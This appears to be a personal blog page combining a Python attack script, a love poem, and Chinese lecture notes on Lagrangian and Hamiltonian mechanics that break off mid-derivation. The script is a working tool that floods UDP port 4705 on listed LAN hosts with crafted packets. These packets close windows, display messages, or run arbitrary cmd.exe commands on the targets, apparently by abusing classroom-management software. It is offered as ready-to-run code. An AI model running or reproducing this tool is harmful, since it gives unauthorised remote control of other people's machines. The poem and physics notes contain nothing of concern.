• Bio

    Page Views Count


    
    import socket
    import random
    
    def main():
        '''
        target_host = []
        ip_head = "10.221.145."
        start = 138
        end = 187
        for i in range(start,end+1):
            ip = ip_head + str(i)
            target_host.append(ip)
        '''  
        target_host = ["10.80.74.144"]
        tool(target_host)
    
    
    def tool(target_host):
        udp_socket = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
        print(target_host)
        target_port = 4705
    
        while(1):
            head = "444d4f43000001006e030000"+str(random.randint(56,70))+str(random.randint(56,70))+"0000"+str(random.randint(56,70))+str(random.randint(56,70))+str(random.randint(56,70))
            n = int(input("0:关闭窗口 1:发送“你好” 2:cmd指令 3:退出  :"))
            #n=2
            if n == 0:
                message = head + "000000000000000000204e0000c0a8019b610300006103000000020000000000000e0000000000000001000000e102020ba615e102020ca9150100112b0000100001000000010000005e010000000000000200000000500000a005000001000000190000004b00000000000000c0a8019b040000000c00000010000000000000002003e00100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000049f47ac5a8ed19009f93410088aa560018f51900d8ed1900ae95410018f51900fb03000000000000d02d40000000000039000000000000000000000018f51900fb030000fced190050304f00fb030000000000000000000000000000fb03000018f51900000000004cee1900ac764100fb03000000000000000000000000000018f5190018f5190011010000116000801a0808000c819677c8260e01b0260e016d19abb111600080c0439777420300000000000018f5190060ee19008fe14000000000005405030018f5190018ef190014804100fb03000054050300c9f67ac51101000018f51900504205011a08080018ef1900ed5ed17552d414861a08080018ef190040519a0154050300000000002101000000000000908996010c2000000100000000ef19009735d17540519a01000000002c64abcf150200000000000000000000000000000c64abcf000000000000000050420501e8195900041a5900a062d375bc1b6aba14ef1900db294200ffffff7f00000000a0ef1900930853000000000038ef19009236410011010000fb0300005405030034ef190018f5190000000000acef1900396b410011010000fb030000540503007df67ac511010000ae060c00926b41001a08080011010000110400003c0405000000000000000000000000007c145300ffffffff5042050100000000000000000000000000000000000000007df67ac54cef1900ccf019007f07530000000000ccef1900c86b410018f51900ae060c0011010000fb0300005405030000000000f8ef19008b43d375ae060c0011010000fb0300005405030000000000cdabbadc926b41001101000000000000dcf019008c4fd175926b4100ae060c0011010000fb03000054050300f07babcf000000001095980100000040c07babcf0000000040519a012400000001000000000000000000000070000000ffffffffffffffffdb4dd1753152d1750000"
            elif n==1:
                message = head + "000000000000000000204e0000c0a88e019103000091030000000800000000000005000000604f7d590000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000604f7d590000ffffb4f119009293727640ed1900ffffffff483d0e01e8195900041a590028de7276310000000ced1900db294200041a590002040000ccc60e010000000038ed1900492f4200692f420093ef7e450204000018f519000000000014ed19005ced1900eba5c7152c090b00bca6f00200000000eea0410054ed1900d3884300800808001df3010068ed19001f444200800808002c090b00bca6f00204ee1900f66e4100576f4100afec7e450204000018f51900000000004000000040a07c7700000503b4ed1900d7e97e45a8ed19009f93410088aa560018f51900d8ed1900ae95410018f519000204000000000000902840000000000039000000000000000000000018f5190002040000fced190050304f00020400000000000000000000000000000204000018f51900000000004cee1900ac7641000204000000000000000000000000000018f5190018f519001101000011600080140812000c819677b05f8d05985f8d056d19abb111600080c0439777e80500000000000018f5190060ee19008fe14000000000002c090b0018f5190018ef190014804100020400002c090b00b3ed7e451101000018f51900c8d70e011408120018ef1900ed5ed175efc04d761408120018ef190050819d012c090b0000000000210100000000000080a99301f42400000100000000ef19009735d17550819d010000000083a7c71515020000000000000000000000000000a3a7c7150000000000000000c8d70e01e8195900041a5900a062d37513d8066014ef1900db294200ffffff7f00000000a0ef1900930853000000000038ef19009236410011010000020400002c090b0034ef190018f5190000000000acef1900396b410011010000020400002c090b0007ed7e451101000080080800926b41001408120011010000110400007c0408000000000000000000000000007c145300ffffffffc8d70e01000000000000000000000000000000000000000007ed7e454cef1900ccf019007f07530000000000ccef1900c86b410018f519008008080011010000020400002c090b0000000000f8ef19008b43d3758008080011010000020400002c090b0000000000cdabbadc926b41001101000000000000dcf019008c4fd175926b410080080800110100000204"
            elif n==2:
                a = input("请输入指令:")
                cmd = str(str_to_hex(a))
                message = str(message_message(head,cmd))
            elif n == 3:
                break
            binary_date = bytes.fromhex(message)
            for ip in target_host:
                udp_socket.connect((ip, target_port))
                bytes_sent = udp_socket.sendall(binary_date)
            print(f"Sent ok")
                
        udp_socket.close()
    
    def str_to_hex(cmd_code):
        d = 0
        result_chuli =""
        result = ''.join([format(ord(c), '02x') for c in cmd_code])
        for char in result:
            d = d+1
            result_chuli = result_chuli+char
            if d%2==0:
                result_chuli = result_chuli + "00"
        hex_str = "2f0063002000" + result_chuli
        return hex_str
    
    
    def message_message(head,cmd):
    
        lenth = 0
        message_head = head + "000000000000000000204e0000c0a88e01610300006103000000020000000000000f0000000100000043003a005c00570069006e0064006f00770073005c00730079007300740065006d00330032005c0063006d0064002e006500780065000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" + cmd
        for i in range(0,len(message_head),2):
            lenth=lenth+1
        if lenth <=1038:
            for n in range(0,2076-len(message_head),2):
                message_head = message_head+"00"
            return message_head
        else:
            print("命令过长!")
        
    
    main()
    
    
    


    Love is more than just a feeling

    It's an emotion that's so revealing

    A bond between two hearts that intertwine

    Creating memories that will never decline.

    Love can be soft like the petals of a flower

    Or as strong as the ocean's roar

    It can bring joy and happiness to every day

    And make all your troubles fade away.

    Love is an endless journey we embark on

    With someone who makes our heart warm

    A never-ending dance of give and take

    That will always leave you wanting more,

    Don't mistake it for a game.

    It can be expressed in many different ways

    From a simple touch or loving gaze

    Love is the glue that holds us together

    And makes our lives forever better.


    分析力学

    Part.1 分析力学引言及基本概念

    引言:

    用牛顿力学处理问题,得出的基本方程都是矢量方程,而且约束越多,方程越复杂。

    我们是否能够创造一种新的力学体系,来应对这种方法呢?

    基本概念:

    系统:有相互联系的质点的集合

    位形:系统内所以质点位置的集合

    约束:强加在系统上,限制其位形变化的任何事物

    约束的分类:

    可解约束与不可解约束:

    不可解约束:$ f(\vec r_1,...,\vec r_n,\dot{\vec r}_1,...,\dot{\vec r}_n;t)=0 $

    可解约束:$ f(\vec r_1,...,\vec r_n,\dot{\vec r}_1,...,\dot{\vec r}_n;t)\geq0 $

    不可解约束中,有

    几何约束与微分约束:

    几何约束:$ f(\vec r_1,...,\vec r_n;t)=0 \frac{df}{dt}=0\Rightarrow \frac{\partial f}{\partial t}+\sum_{i=1}^{n}{(\frac{\partial f}{\partial x}\dot x+\frac{\partial f}{\partial y}\dot y+\frac{\partial f}{\partial z}\dot z)}=0 $

    微分约束:$ f(\vec r_1,...,\vec r_n,\dot{\vec r}_1,...,\dot{\vec r}_n;t)=0 $

    微分约束中,有

    可积分的微分约束与不可积分的微分约束

    可积分的微分约束:f(r˙1,...,r˙n;t)=0 f(\dot{\vec r}_1,...,\dot{\vec r}_n;t)=0

    不可积分的微分约束:$ f(\vec r_1,...,\vec r_n,\dot{\vec r}_1,...,\dot{\vec r}_n;t)=0 $

    几何约束与可积分的微分约束统称为完整约束,其余为不完整约束

    另一种独立的约束:稳定约束与不稳定约束

    稳定约束:ft=0 \frac{\partial f}{\partial t}=0

    不稳定约束: ft0 \frac{\partial f}{\partial t}\ne0

    广义坐标 :

    自由度:确定一个系统运动状态所必须的,能够独立变化的物理量的个数

    一般有,自由度:3n完整约束的个数不可积分的微分约束的个数 3n-完整约束的个数- 不可积分的微分约束的个数

    广义坐标:能够唯一确定系统位形的独立坐标

    广义坐标的个数 (s): s=3n完整约束的个数 s=3n-完整约束的个数

    习惯上,广义坐标用 qα q_\alpha 表示

    则,广义速度用 q˙α \dot{q}_\alpha 表示

    Part.2 虚功原理

    基本形式的虚功原理:

    虚位移:

    假定 t 不变 (δt=0) (\delta t=0) 的情况下,约束允许的位移 δri \delta\vec r_i

    对于稳定约束,实位移是虚位移中的一个

    理想约束:

    虚功:$ \delta W=\sum_{i=1}^{n}{(\vec F_i+\vec R_i)}\cdot\delta\vec r_i $ ,其中 Fi \vec F_i 为主动力,Ri \vec R_i 为约束力

    理想约束:i=1nRiδri=0 \sum_{i=1}^{n}{\vec R_i}\cdot\delta\vec r_i=0

    只受理想约束的系统称之为理想系统

    理想系统下的虚功原理:

    前提:{ri} \left\{ \vec r_i \right\} 是约束允许的平衡位性 (ft=0) (\frac{\partial f}{\partial t}=0)

    该系统在该位形下维持平衡的充要条件是 i=1nFiδri=0 \sum_{i=1}^{n}{\vec F_i}\cdot\delta\vec r_i=0

    这即为基本形式的虚功原理

    广义坐标下的虚功原理:

    i=1nFiδri=0 \sum_{i=1}^{n}{\vec F_i}\cdot\delta\vec r_i=0 ,其中 ri=ri(q1,...,qs,t) \vec r_i=\vec r_i(q_1,...,q_s,t)

    $ \delta\vec r_i=\frac{\partial\vec r_i}{\partial t}\delta t+\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}\delta q_\alpha} $ ,因为进行的是等时变分 (δt=0) (\delta t=0) ,所以有:

    $ \delta\vec r_i=\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}\delta q_\alpha} $ ,带入基本形式的虚功原理,得:

    $ \sum_{i=1}^{n}{\vec F_i}\cdot(\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}\delta q_\alpha})=0 $ ,改变求和次序,得:

    $ \sum_{\alpha=1}^{s}{(\sum_{i=1}^{n}{{\vec F_i\cdot \frac{\partial\vec r_i}{\partial q_\alpha}}})}\delta q_\alpha=0 $ , 其中 δqα \delta q_\alpha 独立变化,所以有:

    $ \sum_{i=1}^{n}{{\vec F_i\cdot \frac{\partial\vec r_i}{\partial q_\alpha}}}=0 $ ,我们称这个量为广义力 Qα Q_\alpha

    保守系统下的虚功原理:

    $ Q_\alpha=\sum_{i=1}^{n}{{\vec F_i\cdot \frac{\partial\vec r_i}{\partial q_\alpha}}}=0 $

    保守系统:

    $ \vec F_i=-\nabla_iV=-(\frac{\partial V}{\partial x_i}\vec i+\frac{\partial V}{\partial y_i}\vec j+\frac{\partial V}{\partial z_i}\vec k) $ ,带入广义力中,得:

    $Q_\alpha=\sum_{i=1}^{n}{-(\frac{\partial V}{\partial x_i}\frac{\partial x_i}{\partial q_\alpha}+\frac{\partial V}{\partial y_i}\frac{\partial y_i}{\partial q_\alpha}+\frac{\partial V}{\partial z_i}\frac{\partial z_i}{\partial q_\alpha})}=- \frac{\partial V}{\partial q_\alpha}$

    即保守系统下的平衡条件:

    Vqα=0 \frac{\partial V}{\partial q_\alpha}=0

    Part.3 拉格朗日方程

    达朗伯原理:

    Fi+Rimir¨i=0 \vec F_i+\vec R_i-m_i\ddot{\vec r}_i=0 ,我们称 mir¨i -m_i\ddot{\vec r}_i 为达朗伯惯性力(反向有效力)

    考虑到基本形式的虚功原理 i=1nFiδri=0 \sum_{i=1}^{n}{\vec F_i}\cdot\delta\vec r_i=0 ,我们将反向有效力带入,得

    $ \sum_{i=1}^{n}{(\vec F_i}-m_i\ddot{\vec r}_i)\cdot\delta\vec r_i=0 $ ,即得到达朗伯-拉格朗日方程

    将 $ \delta\vec r_i=\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}\delta q_\alpha} $ 带入达朗伯-拉格朗日方程,得:

    $ \sum_{i=1}^{n}{(\vec F_i}-m_i\ddot{\vec r}_i)\cdot\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}\delta q_\alpha}=0 $ ,改变求和次序,得:

    $ \sum_{\alpha=1}^{s}{(\sum_{i=1}^{n}{\vec F_i\cdot \frac{\partial\vec r_i}{\partial q_\alpha}-\sum_{i=1}^{n}{m_i\ddot{\vec r}_i\cdot\frac{\partial\vec r_i}{\partial q_\alpha}}})\delta q_\alpha}=0 , 因为有Q_\alpha=\sum_{i=1}^{n}{{\vec F_i\cdot \frac{\partial\vec r_i}{\partial q_\alpha}}}=0 $

    所以,$ Q_\alpha-\sum_{i=1}^{n}{m_i\ddot{\vec r}_i\cdot\frac{\partial\vec r_i}{\partial q_\alpha}}=0 $

    基本形式的拉格朗日方程:

    $ Q_\alpha-\sum_{i=1}^{n}{m_i\ddot{\vec r}_i\cdot\frac{\partial\vec r_i}{\partial q_\alpha}}=0 $ ,经变化得:

    $ Q_\alpha-\frac{d}{dt}(\sum_{i=1}^{n}{m_i\dot{\vec r}_i\cdot\frac{\partial\vec r_i}{\partial q_\alpha}})+\sum_{i=1}^{n}{m_i\ddot{\vec r}_i}\cdot\frac{d}{dt}(\frac{\partial\vec r_i}{\partial q_\alpha})=0 $ ,

    由于有 $ \frac{\partial\dot{\vec r}_i}{\partial\dot{q}_\alpha}=\frac{\partial\vec r_i}{\partial q_\alpha},\frac{d}{dt}(\frac{\partial\vec r_i}{\partial q_\alpha})=\frac{\partial\dot{\vec r}_i}{\partial q_\alpha} $ ,带入上式,得:

    $ Q_\alpha-\frac{d}{dt}(\sum_{i=1}^{n}{m_i\ddot{\vec r}_i\cdot\frac{\partial\dot{\vec r}_i}{\partial\dot{q}_\alpha}})+\sum_{i=1}^{n}{m_i\ddot{\vec r}_i}\cdot(\frac{\partial\dot{\vec r}_i}{\partial q_\alpha})=0 $ ,因为 T=12i=1nmir˙i2 T=\frac{1}{2}\sum_{i=1}^{n}{m_i\dot{\vec r}^2_i}

    所以有:

    $ Q_\alpha-\frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}})+\frac{\partial T}{\partial q_\alpha}=0 $

    至此,我们得到了基本形式的拉格朗日方程

    拉格朗日方程:

    对于基本形式的拉格朗日方程 $ Q_\alpha-\frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}})+\frac{\partial T}{\partial q_\alpha}=0 $ ,

    若主动力是保守力:Qα=Vqα Q_\alpha=- \frac{\partial V}{\partial q_\alpha} ,带入方程中,可得:

    $ \frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}})-\frac{\partial (T-V)}{\partial q_\alpha}=0 $ ,

    又因为势能 V=V(q1...,qs,t) V=V(q_1...,q_s,t) ,与广义速度无关,可得

    $ \frac{d}{dt}(\frac{\partial (T-V)}{\partial\dot{q_\alpha}})-\frac{\partial (T-V)}{\partial q_\alpha}=0 $

    L=TV L=T-V ,这即为拉格朗日函数,带入上式,得:

    $ \frac{d}{dt}(\frac{\partial L}{\partial\dot{q_\alpha}})-\frac{\partial L}{\partial q_\alpha}=0 $

    至此,我们得到了保守系统的拉格朗日方程

    其实,我们本次得到的拉格朗日方程比上次得到的拉格朗日方程更加基本

    Part.4 循环坐标与能量积分

    运动积分:

    对于一个拉格朗日方程 $ \frac{d}{dt}(\frac{\partial L}{\partial\dot{q_\alpha}})-\frac{\partial L}{\partial q_\alpha}=0 $

    若 L 不显含某广义坐标 qα:Lqα=0 q_\alpha:\frac{\partial L}{\partial q_\alpha}=0 ,我们定义这个广义坐标 qα q_\alpha 循环坐标

    因为 Lqα=0 \frac{\partial L}{\partial q_\alpha}=0 ,所以 $ \frac{d}{dt}(\frac{\partial L}{\partial\dot{q_\alpha}})=0 $ ,可得出

    Lqα˙ \frac{\partial L}{\partial\dot{q_\alpha}} 为一个常数,我们定义 Lqα˙ \frac{\partial L}{\partial\dot{q_\alpha}} 广义动量 pα \boldsymbol{p_\alpha}

    即与循环坐标相对应的广义动量守恒——运动积分

    能量积分:

    对于一个拉格朗日方程 $ \frac{d}{dt}(\frac{\partial L}{\partial\dot{q_\alpha}})-\frac{\partial L}{\partial q_\alpha}=0 $ ,可写为

    $ \frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}})-\frac{\partial T}{\partial q_\alpha}=-\frac{\partial V}{\partial q_\alpha} $ ,每一项乘一个广义速度,得:

    $ \left[ \frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}}) \right]\dot{q}_\alpha-\frac{\partial T}{\partial q_\alpha}\dot{q}_\alpha=-\frac{\partial V}{\partial q_\alpha}\dot{q}_\alpha $ ,对所有广义坐标进行求和,得:

    $ \sum_{\alpha=1}^{s}{\left[ \frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}}) \right]\dot{q}}_\alpha-\sum_{\alpha=1}^{s}{\frac{\partial T}{\partial q_\alpha}\dot{q}_\alpha}=-\sum_{\alpha=1}^{s}{\frac{\partial V}{\partial q_\alpha}\dot{q}_\alpha} $ ,经变化得:

    $ \sum_{\alpha=1}^{s}{\left[ \frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}}\dot{q_\alpha})\right] }-\sum_{\alpha=1}^{s}{\frac{\partial T}{\partial\dot{q}_\alpha}\ddot{q}_\alpha}-\sum_{\alpha=1}^{s}{\frac{\partial T}{\partial q_\alpha}\dot{q}_\alpha}=-\sum_{\alpha=1}^{s}{\frac{\partial V}{\partial q_\alpha}\dot{q}_\alpha} $

    T=T(q1,...,qs,q˙1,...,q˙s,t) T=T(q_1,...,q_s,\dot{q}_1,...,\dot{q}_s,t) ,则

    $ \frac{dT}{dt}=\frac{\partial T}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial T}{\partial q_\alpha}}\dot{q}_\alpha+\sum_{\alpha=1}^{s}{\frac{\partial T}{\partial \dot{q}_\alpha}}\ddot{q}_\alpha $

    V=V(q1,...,qs,t) V=V(q_1,...,q_s,t) ,则

    $ \frac{dV}{dt}=\frac{\partial V}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial V}{\partial q_\alpha}}\dot{q}_\alpha $

    经联立得:

    $\sum_{\alpha=1}^{s}{\left[ \frac{d}{dt}(\frac{\partial T}{\partial\dot{q_\alpha}}\dot{q_\alpha})\right] }-\frac{dT}{dt}+\frac{\partial T}{\partial t}=-\frac{dV}{dt}+\frac{\partial V}{\partial t} $ ,合并得:

    $ \frac{d}{dt}\left[\sum_{\alpha=1}^{s}\frac{\partial T}{\partial\dot{q_\alpha}}\dot{q_\alpha}-T+V \right]=\frac{\partial}{\partial t}(V-T) $ ,因为有 L=TV L=T-V ,所以有:

    $ \frac{d}{dt}\left[\sum_{\alpha=1}^{s}\frac{\partial T}{\partial\dot{q_\alpha}}\dot{q_\alpha}-T+V \right]=-\frac{\partial L}{\partial t} $

    若 L 不显含时间 t:Lt=0 \frac{\partial L}{\partial t}=0 ,所以 $ \sum_{\alpha=1}^{s}\frac{\partial T}{\partial\dot{q_\alpha}}\dot{q_\alpha}-T+V $ 守恒

    因为 ri=ri(q1,...,qs,t) \vec r_i=\vec r_i(q_1,...,q_s,t) ,则 $ \frac{d\vec r_i}{dt}=\frac{\partial\vec r_i}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}}\dot{q}_\alpha $

    所以 $ T=\sum_{i=1}^{n}{\frac{1}{2}m_i\dot{\vec r}^2_i}=\sum_{i=1}^{n}{\frac{1}{2}m_i(\frac{\partial\vec r_i}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}}\dot{q}_\alpha)^2} $

    $ =\sum_{i=1}^{n}{\frac{1}{2}m_i(\frac{\partial\vec r}{\partial t})^2}+\sum_{i=1}^{n}{m_i\frac{\partial\vec r}{\partial t}\cdot\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}}\dot{q}_\alpha}+\sum_{i=1}^{n}{\frac{1}{2}m_i\sum_{\alpha=1}^{s}{\frac{\partial\vec r_i}{\partial q_\alpha}}\dot{q}_\alpha}\cdot\sum_{\beta=1}^{s}{\frac{\partial\vec r_i}{\partial q_\beta}}\dot{q}_\beta $

    令第一项为 T0 T_0 ,第二项为 T1 T_1 ,第三项为 T2 T_2 ,则 T=T0+T1+T2 T=T_0+T_1+T_2

    欧拉齐次函数定理: $ \sum_{\alpha=1}^{s}{\frac{\partial T_n}{\partial \dot{q}_\alpha}}\dot{q}_\alpha=nT_n $ ,(n为n次齐次函数)得:

    $ \sum_{\alpha=1}^{s}{\frac{\partial T}{\partial \dot{q}_\alpha}}\dot{q}_\alpha=\sum_{\alpha=1}^{s}{\frac{\partial (T_0+T_1+T_2)}{\partial \dot{q}_\alpha}}\dot{q}_\alpha=0T_0+1T_1+2T_2 $ ,

    带入 $ \sum_{\alpha=1}^{s}\frac{\partial T}{\partial\dot{q_\alpha}}\dot{q_\alpha}-T+V $ ,得:

    T2T0+V T_2-T_0+V ,我们将这个式子定义为广义能量

    附:L=TU L=T-U ,其中 U 为广义势能

    对于一个这样的拉格朗日方程 $ \frac{d}{dt}(\frac{\partial L}{\partial\dot{q_\alpha}})-\frac{\partial L}{\partial q_\alpha}=0 $ ,我们对它进行之前求能量积分的操作,则有:

    $ \sum_{\alpha=1}^{s}{\left[ \frac{d}{dt}(\frac{\partial L}{\partial\dot{q_\alpha}}\dot{q_\alpha})\right] }-\sum_{\alpha=1}^{s}{\frac{\partial L}{\partial\dot{q}_\alpha}\ddot{q}_\alpha}-\sum_{\alpha=1}^{s}{\frac{\partial L}{\partial q_\alpha}\dot{q}_\alpha}=0 $

    因为 L=L(q1,...,qs,q˙1,...,q˙s,t) L=L(q_1,...,q_s,\dot{q}_1,...,\dot{q}_s,t) ,则:

    $ \frac{dL}{dt}=\frac{\partial L}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial L}{\partial q_\alpha}}\dot{q}_\alpha+\sum_{\alpha=1}^{s}{\frac{\partial L}{\partial \dot{q}_\alpha}}\ddot{q}_\alpha $

    联立两式得:

    $ \frac{d}{dt}{\left[ \sum_{\alpha=1}^{s}\frac{\partial L}{\partial\dot{q_\alpha}}\dot{q_\alpha}\right] }-\frac{dL}{dt}=-\frac{\partial L}{\partial t} $ ,合并得:

    $ \frac{d}{dt}{\left[ \sum_{\alpha=1}^{s}\frac{\partial L}{\partial\dot{q_\alpha}}\dot{q_\alpha}-L\right] }=-\frac{\partial L}{\partial t} $

    若 L 不显含时间 t:Lt=0 \frac{\partial L}{\partial t}=0 ,则 $ \sum_{\alpha=1}^{s}\frac{\partial L}{\partial\dot{q_\alpha}}\dot{q_\alpha}-L $ 为常数

    定义 $ H=\sum_{\alpha=1}^{s}\frac{\partial L}{\partial\dot{q_\alpha}}\dot{q_\alpha}-L=\sum_{\alpha=1}^{s}{p_\alpha }\dot{q_\alpha}-L $

    保守力场下, H 与广义能量相等


    写在前面:

    上一部分的内容主要是拉格朗日力学,此篇是哈密顿力学的内容。

    Part.1 勒让德变换

    设存在函数 F=F(x1,...,xn) F=F(x_1,...,x_n) x1,...,xn x_1,...,x_n 是独立变量,

    对其微分,则:$ dF=\sum_{i=1}^{n}{\frac{\partial F}{\partial x_i}}dx_i $

    ui=Fxi u_i=\frac{\partial F}{\partial x_i} ,则:dF=i=1nuidxi dF=\sum_{i=1}^{n}{u_idx_i}

    若 $ \left| \frac{\partial(u_1,...,u_n)}{\partial(x_1,...,x_n)} \right|\ne0 , u_1,...,u_n $ 也是独立变量

    我们构造一个新函数 G=G(u1,...,un)=i=1nxiuiF G=G(u_1,...,u_n)=\sum_{i=1}^{n}{x_iu_i}-F

    对其微分,则:$ dG=\sum_{i=1}^{n}{\frac{\partial G}{\partial u_i}}du_i $

    且有:$ dG=\sum_{i=1}^{n}{x_idu_i}+\sum_{i=1}^{n}{u_i}dx_i-dF=\sum_{i=1}^{n}{x_idu_i} $

    则:xi=Gui x_i=\frac{\partial G}{\partial u_i}

    综上:

    ui=Fxi u_i=\frac{\partial F}{\partial x_i} xi=Gui x_i=\frac{\partial G}{\partial u_i}

    F+G=i=1nxiui F+G=\sum_{i=1}^{n}{x_iu_i}

    其中 F=F(x1,...,xn) F=F(x_1,...,x_n) G=G(u1,...,un) G=G(u_1,...,u_n)

    这就是基本形式的勒让德变换。

    下面我们将它进行推广:

    设存在函数 F=F(x1,...,xn;y1,...,ym) F=F(x_1,...,x_n;y_1,...,y_m) , x1,...,xn,y1,...,ym x_1,...,x_n , y_1,...,y_m 是独立变量,

    ui=Fxi u_i=\frac{\partial F}{\partial x_i} ,构造 $ G=G(u_1,...,u_n;y_1,...,y_m)=\sum_{i=1}^{n}{x_iu_i}-F $

    则有:

    $ u_i=\frac{\partial F}{\partial x_i} ,x_i=\frac{\partial G}{\partial u_i} $

    $ \frac{\partial F}{\partial y_i}=-\frac{\partial G}{\partial y_i} $

    Part.2 正则方程

    回顾一下上篇的内容,

    我们有 $ \frac{d}{dt}(\frac{\partial L}{\partial\dot{q_\alpha}})-\frac{\partial L}{\partial q_\alpha}=0 $

    显然这是一个二阶微分方程,利用勒让德变换将其变换

    又因为广义动量 $ p_\alpha=\frac{\partial L}{\partial\dot{q_\alpha}} $

    利用拉格朗日函数 L=L(q1,...,qs;q˙1,...,q˙s;t) L=L(q_1,...,q_s;\dot{ q}_1,...,\dot{ q}_s;t) 构造新函数

    $ H=H(q_1,...,q_s;p_1,...,p_s;t)=\sum_{\alpha=1}^{s}{p_\alpha }\dot{q_\alpha}-L $

    注意到这个函数正是上篇最后所定义的函数

    我们称这个函数为哈密顿函数

    对应地,我们可以得到:

    $ \dot q_\alpha=\frac{\partial H}{\partial p_\alpha} $ ,$ \frac{\partial L}{\partial q_\alpha}=-\frac{\partial H}{\partial q_\alpha} $

    将 $ p_\alpha=\frac{\partial L}{\partial\dot{q_\alpha}} $ 带入拉格朗日方程

    得:$ \frac{dp_\alpha}{dt}-\frac{\partial L}{\partial q_\alpha}=0 $

    联立 $ \frac{\partial L}{\partial q_\alpha}=-\frac{\partial H}{\partial q_\alpha} $

    得:$ \dot p_\alpha=-\frac{\partial H}{\partial q_\alpha} $

    综上:

    $ \dot q_\alpha=\frac{\partial H}{\partial p_\alpha} $ , $ \dot p_\alpha=-\frac{\partial H}{\partial q_\alpha} $

    这就是哈密顿正则方程

    Part.3 相空间

    设一个任意的函数 f=f(q1,...,qs;t) f=f(q_1,...,q_s;t) ,对时间求导得:

    $ \dot f=\frac{\partial f}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial f}{\partial q_\alpha}}\dot q_\alpha $ ,再对广义速度求一次偏导数,得:

    $ \frac{\partial\dot f}{\partial\dot q_\alpha}=\frac{\partial}{\partial\dot q_\alpha}(\frac{\partial f}{\partial t}+\sum_{\beta=1}^{s}{\frac{\partial f}{\partial q_\beta}}\dot q_\beta)=\frac{\partial f}{\partial q_\alpha} $

    再对时间求一次导数,得:

    $ \frac{d}{dt}(\frac{\partial\dot f}{\partial\dot q_\alpha})=\frac{d}{dt}(\frac{\partial f}{\partial q_\alpha})=\frac{\partial^2f}{\partial t\partial q_\alpha}+\sum_{\beta=1}^{s}{}\frac{\partial^2f}{\partial q_\alpha \partial q_\beta}\dot q_\beta $

    我们将 f˙ \dot f 对广义坐标求一次偏导,得:

    $ \frac{\partial\dot f}{\partial q_\alpha}=\frac{\partial}{\partial q_\alpha}(\frac{\partial f}{\partial t}+\sum_{\beta=1}^{s}{\frac{\partial f}{\partial q_\beta}}\dot q_\beta)=\frac{\partial^2f}{\partial t\partial q_\alpha}+\frac{\partial^2f}{\partial q_\alpha\partial q_\beta}\dot q_\beta $

    我们发现二者相同,则:

    $ \frac{d}{dt}(\frac{\partial\dot f}{\partial\dot q_\alpha})=\frac{\partial\dot f}{\partial q_\alpha} $

    如果我们将 f˙ \dot f 换成拉格朗日函数,那么这就是拉格朗日方程。

    这就告诉我们:

    1):如果我们有一个能够得出正确的力学规律的拉格朗日函数 L L ,那么构造 L=L+f˙ L'=L+\dot f ,其中

    f=f(q1,...,qs;t) f=f(q_1,...,q_s;t) 具有很强的任意性。那么 L L' 必然也能得到正确的力学规律。

    2):给定一个广义坐标,结合不同的拉格朗日函数 L L' 可以确定不同的广义动量 pα p_\alpha ' ,例:

    给定 L L 得出 pα p_\alpha

    给定 L=L+f˙ L’=L+\dot f 得出 $ p'_\alpha=p_\alpha+\frac{\partial f}{\partial q_\alpha} $ ,

    这也说明:一个广义坐标对应无穷个广义动量

    所以,s s 个广义坐标 q q s s 个广义动量 p p 可以张成一个 2s 2s 的相空间。

    Part.4 泊松括号

    f=f(q1,...,qs;p1,...,pn;t) f=f(q_1,...,q_s;p_1,...,p_n;t) 是相空间的函数。

    对其时间求导,得:

    $\frac{df}{dt}=\frac{\partial f}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial f}{\partial q_\alpha}}\dot q_\alpha+\sum_{\alpha=1}^{s}{\frac{\partial f}{\partial p_\alpha}}\dot p_\alpha $ ,将正则方程带入,得:

    $ \frac{df}{dt}=\frac{\partial f}{\partial t}+\sum_{\alpha=1}^{s}{\frac{\partial f}{\partial q_\alpha}}\frac{\partial H}{\partial p_\alpha}-\sum_{\alpha=1}^{s}{\frac{\partial f}{\partial p_\alpha}}\frac{\partial H}{\partial q_\alpha}=\frac{\partial f}{\partial t}+\sum_{\alpha=1}^{s}[{\frac{\partial f}{\partial q_\alpha}}\frac{\partial H}{\partial p_\alpha}-{\frac{\partial f}{\partial p_\alpha}}\frac{\partial H}{\partial q_\alpha}] $

    为了方便,我们记

